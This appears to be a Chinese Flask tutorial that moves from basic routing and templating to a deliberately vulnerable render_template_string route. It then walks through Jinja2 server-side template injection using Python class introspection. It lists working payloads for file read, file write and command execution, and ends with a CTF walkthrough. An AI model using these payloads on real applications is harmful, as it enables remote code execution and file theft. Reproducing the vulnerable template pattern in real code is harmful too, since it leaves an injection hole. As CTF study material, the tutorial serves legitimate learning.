🚩flask基础
🚩第一个flask程序
# 从flask中导入Flask,注意,flask是包名,Flask是模块名
from flask import Flask
# 初始化Flask
app = Flask(__name__)
# route是路由的意思,这里理解成路径,设置/则默认打开index页面,注意用单引号或者双引号包含起来
@app.route('/')
# 定义index函数,index函数名可以换成其他的,不一定强制要index,这里也就是相当于写一个页面
def index():
# return的内容,会被显示在页面中
return 'Hello,world!!!'
if __name__ == '__main__':
# 开始使用本地地址和指定的8080端口运行起来,如果不指定端口,则默认使用5000端口
# 如果不指定IP地址,默认只能本机访问,如果需要其他地方也能访问到本机开启的flask,则需要将地址换成0.0.0.0
app.run('127.0.0.1','8080')
debug
- 只需要在app.run原基础上加上debug.True,或者直接app.debug=True
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello,world'
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
# app.run('127.0.0.1','8080',debug=Ture)
route
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello,vfree'
@app.route('/user')
def user():
return 'username:vFREE'
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
识别传入的参数
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello,vfree'
@app.route('/user/<username>')
def user(username):
return 'username:{0}'.format(username)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')

🚩HTTP方法
GET方法和POST方法
from urllib import request
from flask import Flask,request
app = Flask(__name__)
@app.route('/method',methods = ['GET','POST'])
def method():
if request.method == 'GET':
return '现在的方法是GET'
elif request.method == 'POST':
return '现在的方法是POST'
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
获取方法传入的参数
GET方法
POST方法
🚩redirect
import time
from flask import Flask,request,redirect,url_for
app = Flask(__name__)
@app.route('/login',methods = ['GET','POST'])
def login():
username = 'admin' # 定义username
password = 'admin' # 定义password
user = request.args.get('username') # 获取传入的用户名
passwd = request.form['passwd'] # 获取传入的密码
if user == username and passwd == password: # 判断用户名和密码是否和预定义的一样
return redirect(url_for('login_s')) # 如果一样,则通过redirect和url_for重定向到login_s中
else:
return 'username or password error' # 错误则返回用户名或者密码错误
@app.route('/login_s',methods = ['GET']) # 定义一个新的页面login_s
def login_s():
return '登录成功' # 返回登陆成功
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
🚩模板渲染
render_template
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template
app = Flask(__name__)
@app.route('/')
def index():
contents = {
'username':'vFREE',
'year':'20',
'Country':'China'
}
return render_template('index.html',**contents)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
<html>
<head>
<body>
<h1>Hello,{{username}}</h1>
<h2>{{year}}</h2>
<h3>{{Country}}</h3>
</body>
</head>
</html>
render_template_string
🚩flask代码不严谨危险嘛?
漏洞演示
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
妥妥造成了信息泄露,但是还可以将危害扩大化,直接造成任意文件读取和RCE,在可以保证能看懂的情况下,我们得先学习python的魔术方法和继承关系,接下来细说~
魔术方法
__class__ # 查找当前类型的所属对象
__mro__ # 查找当前类对象的所有继承类
__subclasses__ # 查找父类下的所有子类
__globals__ # 函数会议字典的形式返回当前对象的全部全局变量
__init__ # 查看类是否重载,重载是指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__base__ # 沿着父子类的关系往上走一个
object是父子关系的顶端,所有的数据类型最终的父类都是object
type是类型实例关系,所有对象都是type的示例
object和type即时类也是示例,因为object是type的一个示例,但是type又是object的子类,type自己创造了自己,object是type的弗雷,type创造了object
既然要找到父类下的子类中合适的函数,那么我们首要任务就找到父类,通过继承关系从而一步步往下找,接下来每一个步骤都有解析,师傅可以悟一悟,基本思路是这样子:
>>> print(''.__class__)
<type 'str'>
# 字符串的上一层父类就是str,既然我们知道了是什么类型,那么就可以通过__mro__找str的继承关系
>>> print(''.__class__.__class__.__mro__)
(<type 'type'>, <type 'object'>)
# 这里通过元组列出了两个关系,我们要找的不是type,而是后面的object,既然是元组,那么就通过__mro__[1].__subclasses__()找object对象下的所有子类
>>> print(''.__class__.__class__.__mro__[1].__subclasses__())
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, ...(省略部分)]
# 找到了父类下的子类,以列表的形式显示,假设我们要进行文件读取,那么就是找到<type 'file'>,所处列表位置是40 但是由于我的环境问题,这里不能的文件读取和RCE出现了问题,所以使用别的模块,道理都一样,通过找到重载的模块去一步步找所属的子类列表,这里使用的是列表第75位,已重载的
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75])
<type 'file'>
# 那么接下来就可以通过__init__查看是否重载
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__)
<class '_frozen_importlib._ModuleLock'>
# 没有wrapper字眼,说明已经被重载了,接下来继续找继承关系,使用__globals__找全局变量
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__)
{'__name__': 'importlib._bootstrap', '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', '__package__': 'importlib', '__loader__': <class '_frozen_importlib.FrozenImporter'>, '__spec__': ModuleSpec(name='_frozen_importlib', loader=<class '_frozen_importlib.FrozenImporter'>,...(省略部分))
# 找出了很多的全局变量,以字典的形式输出,这里演示用'__builtion__'做演示
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__'])
{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>),...(省略部分)}
# 到了这一步后,由于全局变量包含了eval,所以可以找到eval执行命令,然后再通过popen执行命令,如果使用system之类的函数,可能照成不会回显,所以用popen是首选~
>>> print(''.__class__.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"))
flag requirements.txt
# 至此,成功执行了命令,找到了当前目录下的文件,至于__import__('os').popen('ls').read(),可以说是固定搭配
>>> print(''.__class__.__base__.__base__) # 依次网上找
<type 'object'>
>>> print(''.__class__.__mro__[-1]) # 一次性列出来所有继承关系
<type 'object'>
继承关系
class A:pass
class B(A):pass
class C(B):pass
a = A()
b = B()
c = C()
print('a的继承关系:',end='')
print(a.__class__.__mro__)
print('b的继承关系:',end='')
print(b.__class__.__mro__)
print('c的继承关系:',end='')
print(c.__class__.__mro__)
# 输出
# a父类是object
a的继承关系:(<class '__main__.A'>, <class 'object'>)
# b的父类是A,然后才是object
b的继承关系:(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# c的父类是B,然后再是A,最后是object
c的继承关系:(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# 一层层关系递进,形成一个继承关系
payload
1.''.__class__.__mro__[-1].__subclasses__()[40]('/flag').read()
# 由于python3已经没有file了,所以使用open代替,open在__builtins__下
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/flag').read()
# 由于python3中取消了file,所以使用open代替
''.__class__.__mro__[-1].__subclasses__()[40]('/flag','w').write('<content>')
1.__import__('os').system('[command]')
2.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")
# 此条payload也是找到重载再通过一层层去找所属的子类列表,然后去调用,注意,()和[]的使用方法,注意,此条指令通过url栏传入不会输出内容
3.''.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
# 此条是有回显的
从一道ctf题目中学习巩固flask文件读取/RCE
-
题目地址:catf1ag CTF:easy_flask
-
1.打开题目,直接测试/?cmd={{config}}
有回显,说明存在SSTI漏洞,既然确定了有这个漏洞,那就直接根据上面给出的payload打一波命令执行或者文件读取即可,具体的可以看上面的payload结构,如果对结构不理解的,可以去看魔术方法下的解析过程~
# 最终payload
{{%27%27.__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20flag%27).read()")}}